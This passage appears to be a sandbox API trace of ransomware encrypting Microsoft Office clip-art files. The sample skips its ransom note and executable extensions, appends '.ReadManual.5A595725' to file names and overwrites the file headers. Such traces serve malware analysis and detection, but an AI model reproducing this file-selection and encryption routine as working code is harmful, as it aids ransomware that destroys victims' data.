[0262.517] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.517] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" [0262.517] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.ReadManual.5A595725" [0262.518] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.ReadManual.5A595725") returned 87 [0262.518] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38318636790) returned 1 [0262.518] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20 [0262.519] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.519] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2080) returned 1 [0262.519] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x820, lpName=0x0) returned 0x184 [0262.519] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.520] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.520] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.522] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.522] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x820) returned 0x2f0000 [0262.523] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.523] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38319155484) returned 1 [0262.523] CloseHandle (hObject=0x184) returned 1 [0262.523] SetSecurityInfo () returned 0x57 [0262.523] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.523] CloseHandle (hObject=0x194) returned 1 [0262.524] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0262.524] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01167_.WMF" | out: lpString1="DD01167_.WMF") returned="DD01167_.WMF" [0262.524] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.524] StrStrIW (lpFirst="DD01167_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.524] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.524] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.525] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.525] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" [0262.525] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.ReadManual.5A595725" [0262.525] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.ReadManual.5A595725") returned 87 [0262.525] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38319392721) returned 1 [0262.525] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x20 [0262.526] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.526] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2080) returned 1 [0262.526] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x820, lpName=0x0) returned 0x184 [0262.526] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.527] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.527] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.529] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.529] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x820) returned 0x2f0000 [0262.529] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.529] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38319797392) returned 1 [0262.529] CloseHandle (hObject=0x184) returned 1 [0262.529] SetSecurityInfo () returned 0x57 [0262.529] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.530] CloseHandle (hObject=0x194) returned 1 [0262.531] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0262.531] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01168_.WMF" | out: lpString1="DD01168_.WMF") returned="DD01168_.WMF" [0262.531] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.531] StrStrIW (lpFirst="DD01168_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.531] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.531] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.531] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" [0262.531] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.ReadManual.5A595725" [0262.531] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.ReadManual.5A595725") returned 87 [0262.531] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38320028166) returned 1 [0262.532] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x20 [0262.532] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.532] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2004) returned 1 [0262.532] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d4, lpName=0x0) returned 0x184 [0262.532] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.533] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.533] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.535] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.535] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d4) returned 0x2f0000 [0262.536] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.536] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38320439185) returned 1 [0262.536] CloseHandle (hObject=0x184) returned 1 [0262.536] SetSecurityInfo () returned 0x57 [0262.536] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.536] CloseHandle (hObject=0x194) returned 1 [0262.537] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0262.537] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01169_.WMF" | out: lpString1="DD01169_.WMF") returned="DD01169_.WMF" [0262.537] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.537] StrStrIW (lpFirst="DD01169_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.537] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.537] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.538] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.538] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" [0262.538] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.ReadManual.5A595725" [0262.538] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.ReadManual.5A595725") returned 87 [0262.538] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38320649551) returned 1 [0262.538] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x20 [0262.539] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.539] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2020) returned 1 [0262.540] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e4, lpName=0x0) returned 0x184 [0262.540] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.540] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.540] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.543] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.543] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e4) returned 0x2f0000 [0262.543] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.543] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38321199523) returned 1 [0262.543] CloseHandle (hObject=0x184) returned 1 [0262.543] SetSecurityInfo () returned 0x57 [0262.544] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.544] CloseHandle (hObject=0x194) returned 1 [0262.545] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0262.545] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01170_.WMF" | out: lpString1="DD01170_.WMF") returned="DD01170_.WMF" [0262.545] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.545] StrStrIW (lpFirst="DD01170_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.545] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.545] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.545] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" [0262.545] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.ReadManual.5A595725" [0262.545] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.ReadManual.5A595725") returned 87 [0262.545] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38321424538) returned 1 [0262.546] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0262.546] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.546] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2404) returned 1 [0262.546] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x964, lpName=0x0) returned 0x184 [0262.546] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.547] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.547] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.549] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.550] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x964) returned 0x2f0000 [0262.550] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.550] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38321854510) returned 1 [0262.550] CloseHandle (hObject=0x184) returned 1 [0262.550] SetSecurityInfo () returned 0x57 [0262.550] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.550] CloseHandle (hObject=0x194) returned 1 [0262.551] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0262.551] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01171_.WMF" | out: lpString1="DD01171_.WMF") returned="DD01171_.WMF" [0262.551] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.551] StrStrIW (lpFirst="DD01171_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.551] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.551] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.551] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.551] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.551] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.551] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.551] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.551] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.552] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.552] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.552] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.552] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.552] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.552] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.552] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" [0262.552] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.ReadManual.5A595725" [0262.552] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.ReadManual.5A595725") returned 87 [0262.552] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38322067358) returned 1 [0262.552] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft 